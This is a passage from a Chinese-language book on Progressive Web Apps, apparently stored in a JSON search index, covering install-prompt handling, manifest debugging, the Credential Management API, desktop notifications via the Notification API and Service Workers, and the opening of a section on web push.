触发安装提示的展现。 下面的示例展示了推迟提示的一种方案，我们先下载示例代码到本地，在命令行中运行如下命令。 # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter06 目录 $ cd chapter06/install-prompt # 安装 npm 依赖 $ npm install # 安装成功后启动 chapter06 示例 $ npm run server 在看到命令行中输出 Server start on: http://127.0.0.1:8088，意味着已经成功启动，这时，打开浏览器，访问 http://127.0.0.1:8088 能看到如下图所示的页面。页面上放置了一个按钮，默认为灰色状态，当捕获到安装提示事件之后，取消默认的弹出行为并且把事件存下来，同时页面上把按钮颜色显示出来，点击按钮之后，再弹出安装提示，同时置灰按钮。 在示例 public/index.html 中可以查看相关代码，这段代码的关键点在于，首先是调用 e.preventDefault() 阻止默认的安装提示展现，其次设置了 savedPrompt 变量用来存放安装提示的事件对象，最后在适当的时候调用 savedPrompt.prompt() 方法重新触发安装提示的的展现，从而整体实现推迟提示的效果。 // 获取按钮元素 let button = document.getElementById('btn') // 保存安装提示事件 let savedPrompt window.addEventListener('beforeinstallprompt', function (e) { // 阻止默认提示弹出 e.preventDefault() // 把事件存起来 savedPrompt = e // 显示按钮 button.classList.remove('disabled') }) button.addEventListener('click', function () { // 隐藏按钮 button.classList.add('disabled') // 触发安装提示展现 savedPrompt.prompt() // 用户行为判断 savedPrompt.userChoice.then(function (result) { // 用户操作之后清空事件 savedPrompt = null if (result.outcome === 'accept') { // 用户将站点添加到桌面 } else { // 用户取消操作 } }) }) 调试 Web 应用清单 调试 Web 应用清单的方式非常简单，Chrome 开发者工具目前已经提供了相关调试功能。 用 Chrome 打开待调试的网页，同时打开开发者工具，切换到 Application 面板，然后点击 Manifest 标签，如图所示，如果 manifest.json 文件被网页成功引入的话，开发者工具面板将会显示相关属性信息，如果有个别配置项配置错误，对应的属性信息将不会显示出来。 同时可以在开发者工具面板右上角中找到 Add to homescreen 的链接，点击之后将会弹出添加到桌面的安装提示。如果配置存在错误的话，将会在控制台面板提示相关错误信息，我们可以根据错误提示对 manifest.json 进行修改，并完善其他条件。 如果没有找到 Add to homescreen 的链接，在 manifest.json 配置正确的情况下，也可以通过点击 Chrome 右上角进行安装（低版本 Chrome 可能需要将 chrome://flags 中的 Desktop PWAs 项设置为 Enabled）。 如果想要在手机上查看效果，需要在系统中先查看浏览器是否开启了添加到桌面权限，然后通过 Fidder 或者 Charles 等工具设置代理，在浏览器中打开本地站点，就可以调试网站应用添加效果了。 浏览器支持度 Web App Manifest 仍然处于 W3C 的草案阶段，但是 Chrome、手机百度、小米等浏览器已经支持了这项标准。虽然 iOS 11.3/ Safari 11.1 宣布支持了 Web App Manifest ，但是根据实际的测试，目前只有部分属性得到了一定程度的支持。不过值得观察的是，Apple 也在不断改进 iOS 下的 PWA 体验，例如在最新的 iOS 12.2 版本中，在应用切换时，PWA 应用不会被重新启动导致回到首页，极大优化了 iOS 系统的 PWA 体验。 如果希望为 iOS 上 PWA 的启动效果提供更好的兼容性，可以通过使用 Safari 的私有 meta/link 属性来配置桌面图标、状态栏颜色等。 桌面 PWA 安装 PC 桌面端已经实现对 PWA 各项技术的支持，部署 Web App Manifest 的网站应用，在 PC 桌面同样可以像原生系统应用一样添加至主屏幕。而对于移动端的各配置项，不需要进行新的升级也依然适用于桌面 PWA 。例如在下图中，theme_color 将用于设置应用窗口状态栏的颜色。同时对于符合条件的应用，浏览器也会在合适的时候弹出应用安装提示。 桌面 PWA 提供了很大的想象空间，对于不需要依赖很多 Device API 的系统来说，使用桌面 PWA 非常合适，例如管理系统等，兼具 BS 架构和 CS 架构的\\b优点，而且还大大降低开发成本，在一定程度上可以代替 Electron 等技术产品， Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter06/2-credentials-api.html\":{\"url\":\"chapter06/2-credentials-api.html\",\"title\":\"6.2 凭证管理 API\",\"keywords\":\"\",\"body\":\"凭证管理 API 一直以来，登录网站总是一件非常麻烦的事情，尤其是在移动端，如果过早要求用户进行登录，转化率会大大降低。用户输入账号密码并提交给服务器进行校验，服务器校验通过之后将创建 session 保持会话。基于安全角度的考虑，用户的账号密码是不允许通过 JavaScript 写入本地存储之中的。当 session 会话过期时，用户将不得不再次输入账号密码信息进行登录，体验很差。使用浏览器提供的凭证管理 API（Credential Management API）可以在安全与体验之间找到更好的平衡。 在本节中，我们将为 PWA 示例设计登录功能，展示使用凭证管理 API 是如何优化用户登录体验的。在命令行中运行如下命令，下载示例代码到本地。 # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter06/credentials 目录 $ cd chapter06/credentials # 安装 npm 依赖 $ npm install # 安装成功后启动 chapter06/credentials 示例 $ npm run server 在看到命令行中输出 Server start on: http://127.0.0.1:8088，意味着已经成功启动，这时，打开浏览器，访问 http://127.0.0.1:8088 能看到如下图所示的页面。我们在示例首页添加一个登录按钮，点击按钮会跳转至登录页面，用户在该页面表单进行账户密码输入。 在继续优化之前，先通过 “自动填充（autofill）”的功能改进浏览器表单。通过对表单元素增加 autocomplete属性，浏览器会根据这一属性进行表单类型识别，并将表单输入内容存储到浏览器中，这些存储的数据无法被 JavaScript 访问到，因此相对安全。比如下面的表单，浏览器会将 autocomplete 标识为 username 和 current-password 的字段内容提取出来，构造出用户身份凭证信息。有关自动填充的更详细的说明，请参考 Form control infrastructure。 在示例文件 public/login.html 中可以查看示例中的表单属性设置如下。 登录 其他登录方式 使用 Github 账号登录 自动填充功能在一定程度上解决了用户重复输入账号密码的问题，但是还存在不少需要改进的地方。 采用第三方账号登录的方式，由于登录流程不涉及表单填充，因此无法触发自动填充功能； 对于采用 AJAX、Fetch 等方式异步提交的登录表单，无法被自动填充机制捕获并且保存； 自动填充的行为对网站来说是完全不可见的，网站既不知道身份凭证已被浏览器存储，也不知道表单密码已被浏览器自动填充，无法更精细地控制登录流程； 自动填充机制对更新密码的支持度较低。 因此，针对用户身份凭证目前所存在的问题，使用凭证管理 API 可以进一步优化表单登录的过程。需要注意的是，目前凭证管理 API 仍处于草案阶段，现有浏览器的支持程度不高，在使用前需要进行 API 检测并做好相应的降级处理。 if (window.PasswordCredential || window.FederatedCredential) { // 进行凭证管理 API 的相关操作 } 保存用户凭证 优化表单登录的第一步，就是能够保存用户登录凭证。一旦用户登录网站验证通过，可以请求用户允许浏览器保存用户凭证。浏览器提供 navigator.credentials.store() 方法对用户身份凭证进行存储。 该方法需要传入一个类别为 Credential 的对象作为参数。目前存在两种派生自 Credential 的类，分别是密码凭证 PasswordCredential 和联合凭证 FederatedCredential，开发者需要根据用户的登录类型选择相应的凭证进行存储。如果用户使用账号密码进行登录的话，那么可以使用 PasswordCredential 构造并存储身份凭证。 let cred = new PasswordCredential({ id: 'example@baidu.com', password: 'example_password', name: '路人甲', iconURL: 'https://path/to/icon.png' }) navigator.credentials.store(cred) 其中 id 和 password 为必填字段，分别对应用户登录信息的用户名和密码，name 和 iconURL 是选填字段，用于后续账号选择器的信息展示。 同时浏览器也提供 navigator.credentials.create() 方法实现异步实例化凭证，新的声明方法如下所示： // passwordcredential let pwdCred = await navigator.credentials.create({ password: { id: 'example@baidu.com', password: 'example_password', name: '路人甲', iconURL: 'https://path/to/icon.png' } }) 在本小节示例中查看 public/script/login.js 登录逻辑，我们在用户点击登录按钮时阻止表单提交事件，验证用户身份信息正确后，可以保存对应的用户信息。示例中表单已经添加 autocomplete 属性，因此可以直接利用表单 HTMLElement 创建 PasswordCredential 实例。 let form = document.querySelector('#login') form.addEventListener('submit', function (event) { event.preventDefault() fetch('/auth/password', { method: 'POST', credentials: 'include', body: new FormData(event.target) }).then(function (res) { // 验证用户邮箱密码 if (res.status === 200) { return Promise.resolve() } else { return Promise.reject('login error') } }).then(function () { // 判断是否支持 Credential API if (window.PasswordCredential) { // 保存用户凭证 var cred = new PasswordCredential(event.target) return navigator.credentials.store(cred) } else { return Promise.resolve() } }).then(function () { // 登录成功跳转至首页 window.location.href = '/' }).catch(function (error){ // 登录出错展示错误信息 showErrorToast() }) }) 本示例中在 public/assets/mockData/user.json 中模拟存储了测试账号，运行示例输入测试账号邮箱密码，可以看到浏览器弹出类似下图的对话框。 凭证保存的过程是一个异步的过程，在执行 navigator.credentials.store(cred) 进行保存时，方法会返回一个 promise 对象，同时在页面上弹出对话框提示用户是否进行密码存储，只有当用户选择“保存”时，promise 对象才会 resolve，点击“x”关闭对话框或者点击“一律不”时，promise 将 reject。 需要注意的是，如果用户选择了“一律不”，那么在后续调用 navigator.credentials.store(cred) 时，返回的 promise 对象将直接 resolve 而不会弹出任何对话框。因此在设计凭证存储流程时，一定要记住只在最合适的时候发起凭证存储，\\b比如在发起凭证存储前先引导并提示用户，不要惹恼用户，否则用户一旦选择了“一律不”，后面就很难再有机会了，同时，存储流程需要考虑到凭证存储成功和失败之后的应对措施。 自动登录 当点击登录按钮时，常见的页面交互是弹出登录表单或者跳转至登录页面，用户继续在表单中进行繁琐的输入操作。而当浏览器存储用户凭证后，使用凭证管理 API，可以有效的缩短用户登录时间，实现只需点击登录按钮就可完成登录。接下来\\b看看实现自动登录功能需要的几个步骤。 获取用户凭证 浏览器提供 navigator.credentials.get() 方法来获取存储的身份凭证，可以通过配置 password 和 federated 来指定要获取的用户凭证。另一个参数 mediation 用于配置账号选择器行为，为了实现自动登录通常设置 mediation 值为 silent，在用户登录时不会弹出账户选择器，在下文中会详细介绍其用法。 需要注意的是，由于执行 navigator.credentials.get() 将可能会弹出账号选择器打断用户操作，因此需要保证只有在真正需要登录的时候再去调用该方法，比如在调用前判断一下当前 session 会话是否过期。 if (window.PasswordCredential || window.FederatedCredential) { if (!isLogin()) { // 获取用户凭证 let cred = await navigator.credentials.get({ password: true, mediation: 'silent' }) } } 发送凭证验证用户 获取用户凭证后，首先需要判断是否获取凭证成功。成功后，可以通过 Credentials.type 方法判断当前凭证的类型，可能的取值为 password 和 federated，分别对应密码凭证和联合凭证，开发者可以根据不同类型设计不同的凭证发送逻辑，同时对于联合凭证，则可以进一步通过 provider 属性区分不同第三方账号的登录逻辑。 在示例文件 public/script/index.js 中可以查看自动登录相关的逻辑，包括获取用户凭证和发送凭证的过程，同时支持 password 和 federated 两种方式，关于使用联合凭证登录在下文会很快提到。 function autoLogin () { if (window.PasswordCredential || window.FederatedCredential) { return navigator.credentials.get({ password: true, federated: { providers: ['https://github.com'] }, medition: 'silent' }).then(function (cred) { if (cred) { switch (cred.type) { case 'password': return loginWithPassword(cred) case 'federated': switch (cred.provider) { case 'https://github.com': return loginWithGithubAccount(cred) } } } else { return Promise.reject() } }).then(function (res) { if (res.status === 200) { return Promise.resolve() } else { return Promise.reject('login error') } }) } else { return Promise.resolve() } } 对于发送凭证，并没有太多要求，一般来说，只要是异步发送即可，比如 AJAX、Fetch API 都可以，本节示例中以密码凭证和 Fetch API 为例。PasswordCredentials 和 FederatedCredentials 实例对象都可以访问到生成凭证时所传入的参数，因此可以像正常对象那样读取属性，并构造出对应的身份认证请求参数即可。 function loginWithPassword (cred) { let form = new FormData() form.append('email', cred.id) form.append('password', cred.password) return fetch('/auth/password', { method: 'POST', credentials: 'include', body: form }) } 在已保存凭证的示例中点击退出，退出登录后重新点击首页的登录按钮，此时浏览器会弹出类似下图的提示，不需要再跳转至登录页输入密码，就登录成功并更新首页登录状态。 发送到服务器端校验的凭证有可能会存在认证失败的情况，发生这种情况的原因一般是密码需要更新，因此需要在认证失败时及时展现登录表单，让用户重新填写身份凭证信息，重新校验，并更新存储的身份凭证。 第三方账号登录 用户希望使用第三方账号登录的情况越来越普遍，如果网站登录表单支持使用第三方账户登录，可以使用联合凭证的方式，先通过 FederatedCredential 对象构造并存储身份凭证。 创建联合登录凭证与密码凭证类似，其中 id 和 provider 为必填字段，其中 id 为标识账户的标志，可以是用户的 email、username 等等能够唯一标识用户的属性值。通常第三方账户登录使用 OAuth2.0 等方式授权，不能直接用 assess_token 等具有时效性的值作为 id，需要做好 id 与 assess_token 的映射关系。provider 为第三方账号提供方，需要填入符合 URL 校验规则的账号提供方网址。 let cred = new FederatedCredential({ id: 'example@baidu.com', provider: 'https://www.baidu.com', name: '路人甲', iconURL: 'https://path/to/icon.png' }) navigator.credentials.store(cred) let fedCred = await navigator.credentials.create({ federated: { id: 'example@baidu.com', provider: 'https://www.baidu.com', name: '路人甲', iconURL: 'https://path/to/icon.png' } }) 一旦浏览器存储了网站的第三方登录凭证，用户再次登录网站时，可以直接获取用户凭证进行验证，实现只需要点击“使用 Github 账号登录”的表单按钮就直接完成了用户登录。 同时我们也可以如下代码所示，扩展支持多个第三方账户登录。 navigator.credentials.get({ password: true, federated: { providers: ['https://www.baidu.com', 'https://github.com'] } }).then(function (cred) { if (cred) { switch (cred.type) { case 'password': // PasswordCredential 凭证处理 return loginWithPassword(cred) case 'federated': // FederatedCredential 凭证处理 switch (cred.provider) { case 'https://www.baidu.com': // 调起百度第三方登录 return loginWithBaiduAccount() case 'https://github.com': // 调起 github 第三方登录 return loginWithGithubAccount() } } } else { return Promise.reject() } }) 修改凭证信息 当用户的密码修改之后，存储的身份凭证将会失效，需要及时进行更新。在具体实现上只需要调用 navigator.credentials.store(cred) 进行新凭证存储即可，此时页面会弹出凭证更新提示对话框，只有当用户同意时身份凭证才会更新成功。对于 PasswordCredential 类型的凭证，浏览器会根据 id 指定身份凭证信息进行覆盖；FederatedCredential 则会根据 provider 和 id 指定身份凭证信息进行覆盖。 使用账户选择器登录 一个网站用户可能拥有多个账户，在登录时直接提供账户选择器也可以跳过传统的表单登录方式。使用账号选择器登录的方法与自动登录一致。当用户点击登录按钮时，调用 navigator.credentials.get() 方法，并通过mediation 设定账号选择器的展现方式为optional 或 required。 mediation 设置为 required 时，当用户登录时，账户选择器每次都会展现。而如果采用 mediation 为 optional 的模式获取凭证，即 navigator.credentials.get({mediation: 'optional'})，只要用户第一次选择好身份凭证，在下一次重新获取时，将不会弹出账号选择器而直接返回上次选择好的身份凭证信息，从而起到简化用户登录流程的作用。这时如果用户需要重新选择账户，可以通过调用 navigator.credentials.preventSilentAccess() 方法来取消这个静默获取凭证的过程。 使用方法非常简单，只需要直接执行该函数即可： navigator.credentials.preventSilentAccess() 这里需要注意的是，preventSilentAccess() 方法主要配合 mediation 为 optional 一起使用。如果 mediation 为 silent，即采用静默获取凭证的方式，preventSilentAccess() 会导致这种静默获取直接返回 null。 当 mediation 取值为 silent 或者 optional，且返回的账号选择列表中只有一个凭证，那么 get() 返回的 promise 对象将直接 resolve 该凭证信息，但是当账号选择列表存在多个凭证时，如果 mediation 为 silent，那么 promise 将 resolve(null)，而 optional 将弹出账号选择器供用户选择。除开以上这些情况，当用户并未从账号选择器中选择相应的账号信息，同样的 promise 也将 resolve(null)，因此在设计登录流程时，需要做好相应的降级措施。 举个例子，当站点已经存入身份凭证后，调用以下方法，将会弹出账号选择器： let promise = navigator.credentials.get({ password: true, federated: ['https://www.baidu.com'], mediation: 'required' }) 此时弹出的账号选择器如下图所示，可以看到，由于配置了 password 和 federated，因此密码凭证和联合凭证都显示在账号选择列表中： 如果去掉 federated 的配置，那么仅有密码凭证类型的帐号信息展现在账号选择列表中： 小结 在本节中介绍了凭证管理 API 常见的使用方式，通过示例展现凭证管理 API 对 Web App 登录流程的优化效果，我们相信将凭证管理 API 应用于 PWA 中，会有效增加登录用户留存。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter06/3-notification-api.html\":{\"url\":\"chapter06/3-notification-api.html\",\"title\":\"6.3 桌面通知\",\"keywords\":\"\",\"body\":\"桌面通知 在 iOS 和 Android 移动设备中，Native App 向用户推送通知是很常见的行为，这是重新吸引用户访问应用最有效方法之一。然而推送通知一直被认为是 Web App 缺少的能力，在接下来的两节我们将介绍 Web App 如何实现推送通知。 Notification API 是 HTML5 新增的一套展示桌面通知的 API，桌面通知具有全局效果，它脱离了浏览器，采用和 Native App 相同的机制和 UI，因此无论网页是否打开，也无论浏览器是否在前台展现，只要浏览器在运行，就能够向用户展现通知。 应用通知主要有两种类型，一类是由应用本身生成的本地通知，另一类推送通知，是由服务器推送事件生成。在本节中主要先简单介绍如何使用 Notification API 进行本地通知，离线通知在下一节中会详细介绍。 在本节中我们将提供简单的通知示例，展示使用 Notification API 通知用户。在命令行中运行如下命令，下载示例代码到本地。 # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter06/notification 目录 $ cd chapter06/notification # 安装 npm 依赖 $ npm install # 安装成功后启动 chapter06/notification 示例 $ npm run server 在看到命令行中输出 Server start on: http://127.0.0.1:8088，意味着已经成功启动。 申请通知权限 为避免网站滥用 Notification 给用户造成影响，在展示桌面通知之前，首先需要向用户获取通知权限，只有获得用户授权之后，Notification API 才会生效。对于同一个域名下的网页，只需要获取一次授权即可。那么，如何知道当前站点是否已经被授权？ Notification.permission Notification.permission 是 Notification 的静态属性，代表通知权限的授权状态，取值包括： granted：允许展现通知； denied：禁止展现通知； default：用户尚未授权，此时禁止展现通知，但可以向用户发送授权申请。 在使用桌面通知之前，可以通过这个属性首先判断用户授权状态，再去做下一步操作： if (Notification.permission === 'granted') { // 用户已授权，可展示通知 } else if (Notification.permission === 'denied') { // 用户已禁止 } else { // 用户尚未授权，需首先向用户申请通知权限 } Notification.requestPermission() 当用户尚未进行授权时，可以通过 Notification.requestPermission() 静态方法向用户申请通知权限，使用方法如下所示： Notification.requestPermission().then(permission => { // 通过 permission 判断用户的选择结果 }) 这是一个异步函数，返回 Promise 对象。在调用函数的同时，页面会弹出通知权限请求对话框。在示例 public/script/notification.js 中，可以查看关于通知权限判断的逻辑。 打开浏览器，访问 http://127.0.0.1:8088 ，浏览器弹出如下图所示的弹窗。 用户可以选择 “允许”、“禁止”，也可以直接点击关闭对话框，分别对应 granted、denied 和 default 这三种授权行为，这时 promise 对象将 resolve 授权结果，并且同步更新 Notification.permission 的值。 当用户选择 “允许” 或 “禁止” 之后，选择结果会被浏览器记录下来，并在下次再次调用 Notification.requestPermission() 时将直接返回该结果。因此一旦用户选择了 “禁止”，站点将不会允许展示通知，也不会再次展现授权提示。Chrome 桌面版浏览器可以通过访问 chrome://settings/content/notifications 去修改已经进行授权的站点，而目前大部分手机浏览器则需要清除浏览器数据，才能够重新恢复通知权限请求对话框的展示，无论哪一种对于用户来说都是非常麻烦的操作。因此要求开发者应该在最适当的时候申请通知权限，并且对用户加以引导，说明站点获取通知权限的用途，尽量避免用户打开网站立即弹出授权对话框。 获得用户的授权之后，就可以进入下一步的通知展现与交互了。 通知展现与交互 浏览器提供通过实例化 Notification 对象来显示通知。实例化 Notification 的语法如下所示： const notification = new Notification(title, options) 在实例化 Notification 对象的同时，会生成一条通知并展现出来。在表现形式上桌面端和移动端存在一定差异，其中桌面端的通知会以卡片的形式从屏幕右上角或者右下角弹出，而移动端则显示在通知栏里。 通过实例化 Notification 时传入的不同参数，可以定制通知显示的内容和功能，下文介绍了常见参数的用法，更多用法可以参考 Notification 规范。需要注意的是，截止目前上述可选参数仅有 body、icon、data、tag 得到了稳定的支持，其余参数仅有部分浏览器支持，因此需要考虑部分配置失效的可能。 另外对于部分手机浏览器比如 Chrome for Android，要求必须依赖 Service Worker 所提供的方法来展现通知，使用 new Notification() 这种方式没有任何效果，因此本小节示例都使用 Service Worker 方法，在下文中会单独详细介绍使用 Service Worker 中的方法来展现通知。 展现配置项 title 和 body 标题和文本用于显示不同的通知信息，是最常见的通知形式。当标题和文本过长时，不同的浏览器和系统会展现不同的效果，有的会对通知进行截断处理。 const title = 'PWA-Book-Demo Notification Title' const options = { body: 'Simple piece of body text.\\\\nSecond line of body text :)' } const notification = new Notification(title, options) 以上示例在 PC Chrome 上显示效果如下图： 在手机上显示效果为： icon 配置图片 URL 地址，用来在标题和文本旁边显示的小图片。目前对于图标使用的图片尺寸，并没有可靠的规范和指导，如果我们的设备像素比（DPR）是 3，使用 192px 或更高的图片大小是比较好的选择。 在手机上展示效果类似下图： image 用于在通知中增加预览图片，由于桌面和移动设备的比例不同，不同手机上效果裁剪和比例也可能不同，同样很难对图片尺寸制定规范。 在手机上包含图片的通知有时会被折叠，需要用户向下滑动才将通知中的图片展示出来。下图是一个包含图片通知的示例： badge 展现缩略信息时使用的单色图标，用于向用户描述有关通知来源的更多信息，此选项只适用于移动设备，一般默认显示为浏览器的缩略图标。根据 Native App 经验，建议图片大小为 24px 乘像素比率，因此图片大小最好使用 72px 及以上。 direction dir 参数用于设置文本的显示方向，默认值为 auto，可取值为 ltr 和 rtl，分别代表“从左往右”和“从右往左”。在默认情况下，中文、英语、法语等会默认从左往右显示，而阿拉伯语等从右往左显示。 vibrate 用于设置通知的振动模式，参数格式为数字数组，数组描述了振动交替的毫秒数。例如 [200, 100] 代表首先振动 200 毫秒，然后停止 100 毫秒，如此反复。 交互配置项 tag 标签选项是一个字符串 ID，具有相同 tag 的通知会被分类到一起，可以简单的向用户显示多个通知。 通过以下示例可以了解 tag 的用法，先展示一个有 tag 为 \\\"error\\\" 的通知： const title = 'PWA-Book-Demo 测试 tag: error' const options = { body: '第一条 tag: error 通知', tag: 'error' } const notification = new Notification(title, options) 第一条提示如下图： 接着发送第二条新的 tag 为 \\\"warning\\\" 通知，如图所示： 最后仍然发送 tag 为 \\\"error\\\" 的第三条消息，可以看到这条消息静默替换了第一条消息： renotify 使用 tag 进行通知替代时，是没有声音和震动的。使用 renotify: true 可以在展示多个通知时也能够通过声音和震动提示用户。需要注意的是，renotify 是和 tag 选项配合使用的，如果设置了 renotify: true 但没有使用 tag 参数，浏览器可能会提示发生错误。 silent 通知展现的时候是否关闭声音和振动，默认为 false，表示默认展现通知时有声音有振动。如果通知不希望用户立即关注，可以设置为 true。如果同时定义了 silent 和 renotify，silent 优先级更高。 requireInteraction 在桌面端默认情况下，通知会在显示一段时间后自动隐藏，而在移动端上会一直显示通知，直到用户与其交互。如果希望桌面和移动端一致，可将 requireInteraction 设置为 true 。在使用这个配置项时需要格外而注意，因为这样可能会导致用户体验下降。 交互事件 Notification 实例具有以下方法： close()：关闭通知 举个例子，比如希望通知在展示 2 秒之后关闭，那么可以这么实现： let notification = new Notification('你好'); setTimeout(function () { notification.close() }, 2000) Notification 实例化对象具有以下事件句柄： onclick：通知点击事件 onclose：通知关闭事件，无论是用户手动关闭，还是调用 Notification.close() 均会触发 onshow：通知显示 onerror：通知显示异常事件 下面举一个简单的例子来展示通知的展现以及事件的处理。以下代码会弹出通知 “我是李雷，交个朋友吧”，点击通知后自动打开百度首页。 const notification = new Notification('你好', { body: '我叫李雷，交个朋友吧', icon: 'https://path/to/icon', data: { url: 'https://www.baidu.com' } }) notification.onclick = function (e) { // 关闭通知 notification.close() // 通过 notification.data 对象可以访问到实例化时传入的 data 参数 // 这里演示点击通知之后自动打开百度首页 window.open(notification.data.url) } 在 Service Worker 线程中展现通知 上面所介绍的 Notification API 用法全是写在页面主线程里的，在对应网页打开的情况下，即使切换标签页，最小化浏览器，都可以展现通知。但是一旦关闭网页，通知的相关代码随之失效，也就无法继续展现通知。因此需要将 Notification API 放到常驻后台的进程中去运行。 通过第四章对 Service Worker 的介绍，我们知道，Service Worker 是一个独立的 worker 线程，即使在关闭网页的情况下，Service Worker \\b依然能够被唤醒，因此我们可以将展现通知的代码写到 Service Worker 文件中，就能够在页面关闭的情况下也可以向用户展现通知了。 在 Service Worker 作用域下无法直接使用 Notification，需要通过一些 Service Worker 所提供的函数去实现通知的展现与交互。其中，ServiceWorkerRegistration 对象提供了 showNotification() 和 getNotifications() 等方法，同时在 Service Worker 作用域下提供了 notificationclick 和 notificationclose 的全局事件回调。在本节后续的内容当中将会对这些方法和事件做详细的介绍。 ServiceWorkerRegistration 对象可通过以下方法获得： 在主线程中通过注册 Service Worker 所得到的异步返回对象即为 ServiceWorkerRegistration 的实例： // 注册 Service Worker 获取 registration navigator.serviceWorker.register('/service-worker.js').then(function (registration){ console.log(registration) }) // 使用 getRegistration 方法获取 registration navigator.serviceWorker.getRegistration().then(function (registration) { console.log(registration) }) 在 Service Worker 作用域下可直接通过 self.registration 获得： let registration = self.registration 在本节示例中，这两种方式我们都有用到，对于展现类的通知我们在 public/script/notification.js 直接封装了 displayNotification 方法，而与交互相关的事件监听在 public/sw.js 的 Service Worker 文件中可以查看。示例提供了不同类型的通知展示，如图点击对应的按钮可以查看通知效果。 展现通知 在 Service Worker 作用域下，通过 ServiceWorkerRegistration.showNotification() 方法来展现通知，其参数与上一小节 Notification 实例化的参数一致。该方法将返回一个 promise 对象，当通知正常展现时，promise 会 resolve 并返回 undefined，假如通知展示未获许可，那么 promise 将会 reject 并且抛出 TypeError 的异常，因此需要做好容错方案。 在 Service Worker 文件中展示通知如下。 self.registration.showNotification('你好', {/* options */}) .then(function () { // 通知展现成功 }) .catch(function (e) { // 通知展现未授权 }) 在主线程中展示通知如下。 navigator.serviceWorker.getRegistration().then(function (registration) { registration.showNotification('你好', {/* options */}) .then(function () { // 通知展现成功 }) .catch(function (e) { // 通知展现未授权 }) }) 添加 Actions 通知除了可以为用户展现信息，还可以在设计简单的交互来处理信息，用户不需要打开页面就可以快速与网站或服务交互。当使用 showNotification 展现通知时，第二个参数 options 将在原有基础上额外支持 action 参数。action 参数是一组自定义行为数组，该数组包括一组对象用于定义向用户显示的按钮。action 对象包括以下几个配置： action：按钮 ID 作为标识符字符串 title：向用户显示的文本的标题 icon：在动作旁边显示的图像的位置的图标 下面是一个简单的例子，在通知上展现一个 “点赞” 按钮，点击该按钮，将在控制台打印出 “点击了点赞按钮”： self.registration.showNotification('PWA-Book-Demo 测试 actions', { body: '点赞按钮可点击', actions: [ { action: 'like', title: '点赞', icon: '/assets/images/like-icon.png' } ] }) // 监听通知点击事件 self.addEventListener('notificationclick', function (e) { // 关闭通知 e.notification.close() if (e.action === 'like') { // 点击了“点赞”按钮 console.log('点击了点赞按钮') } else { // 点击了对话框的其他部分 console.log('点击了对话框') } }) actions 的展现样式会受到系统的影响，例如在 Android Nougat 及以上版本，并不会展示 action 的 icon，上面示例效果如图： 通知关闭事件 当用户选择忽略通知，比如点击通知的关闭十字或者滑动关闭通知时，notificationclose 事件会被调用，该事件通常用来分析用户与通知的交互情况。 self.addEventListener('notificationclose', function(event) { const dismissedNotification = event.notification const promiseChain = notificationCloseAnalytics() event.waitUntil(promiseChain }) 如上面示例所示，回调对象 event 提供常用的属性和方法用于控制后续逻辑。 event.notification 获取 notification 实例，访问 notification 实例的属性和方法。 event.waitUntil 方法允许传入 Promise 对象，待 Promise 异步操作完成后再结束事件。 如果通知定义展示了 actions 按钮，通过 event.action 可访问对应的 action。 通知点击事件 当用户点击通知时，默认不会关闭或者删除通知，也不会发生任何事情。而此时用户通常希望直接跳转到可以获取更多有关信息的位置，我们通过在 Service Worker 下监听点击事件 notificationclick 来处理相关逻辑。 示例中，在 Service Worker 作用域下是无法访问 window 对象的，但我们可以通过 clients.openWindow() 方法来实现在 Service Worker 作用域下打开网页。 查看示例中 Service Worker 文件 public/sw.js ，其中监听 notificationclick 事件。 // 首先监听 notificationclick 事件： self.addEventListener('notificationclick', function (e) { // 关闭通知 e.notification.close() // 打开网页 e.waitUntil(clients.openWindow(e.notification.data.url)) }) 在 public/script/notification.js 文件中触发通知展示。 // 接着触发显示通知 registration.showNotification('你好', { body: '我叫李雷，交个朋友吧', icon: 'https://gss0.baidu.com/9rkZbzqaKgQUohGko9WTAnF6hhy/assets/pwa/demo/pwa-icon.png', data: { time: new Date(Date.now()).toString(), url: 'https://www.baidu.com' } }) 点击示例页面中 \\\"事件：notificationclick \\\" 选项的按钮，对应的弹窗效果以及点击页面跳转情况如下图所示，可以看到即使在 Service Worker 作用域下，依然可以正常展示通知，并且能够引导打开网页： 这样整个弹出通知和打开网页的过程都完全脱离了网页生命周期的制约，我们已经能做到在未打开对应网页的情况下弹出离线通知，再通过点击通知引导用户打开网页了。当然，仅靠 Notification API 和 clients 并不能做到完全的离线通知，这是因为在目前的条件下，一旦页面销毁，Service Worker 也将很快进入休眠状态。因此需要给 Service Worker 注册可在离线情况下唤醒的事件，这样就能够完整地实现离线通知了。 这个事件就是接下来的小节将要介绍的如何实现在离线状态下的\\b推送通知。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter06/4-web-push-api.html\":{\"url\":\"chapter06/4-web-push-api.html\",\"title\":\"6.4 网络推送\",\"keywords\":\"\",\"body\":\"网络推送 在上一节我们已经介绍了使用 Notification API 如何创建推送并展示给用户，但是当浏览器没有打开，Service Worker 处于休眠状态时，如何将通知推送给用户呢？Native App 很早就实现了离线通知，用户在没有打开应用的情况下，也能够接收到推送的内容并且在通知栏展现出来。现在 Web App 使用 Push API 也可以实现离线接收消息。 Push API 和 Notification API 是不同但互补的功能，Push API 是用于订阅并推送消息给 Service Worker，而 Notification API 用于从 Service Worker 发送消息给用户。 一个完整的 Web Push 流程，只有浏览器是不够的，还需要服务端发送消息。在本节中，我们不仅会介绍消息推送在浏览器端\\b相关的细节，还会实现一个简单的 Node.js 服务端来推送消息。 推送流程 在介绍 Push API 的用法之前，首先我们需要了解一下建立网络推送的基本流程。 下图所示的流程图出自 Web Push 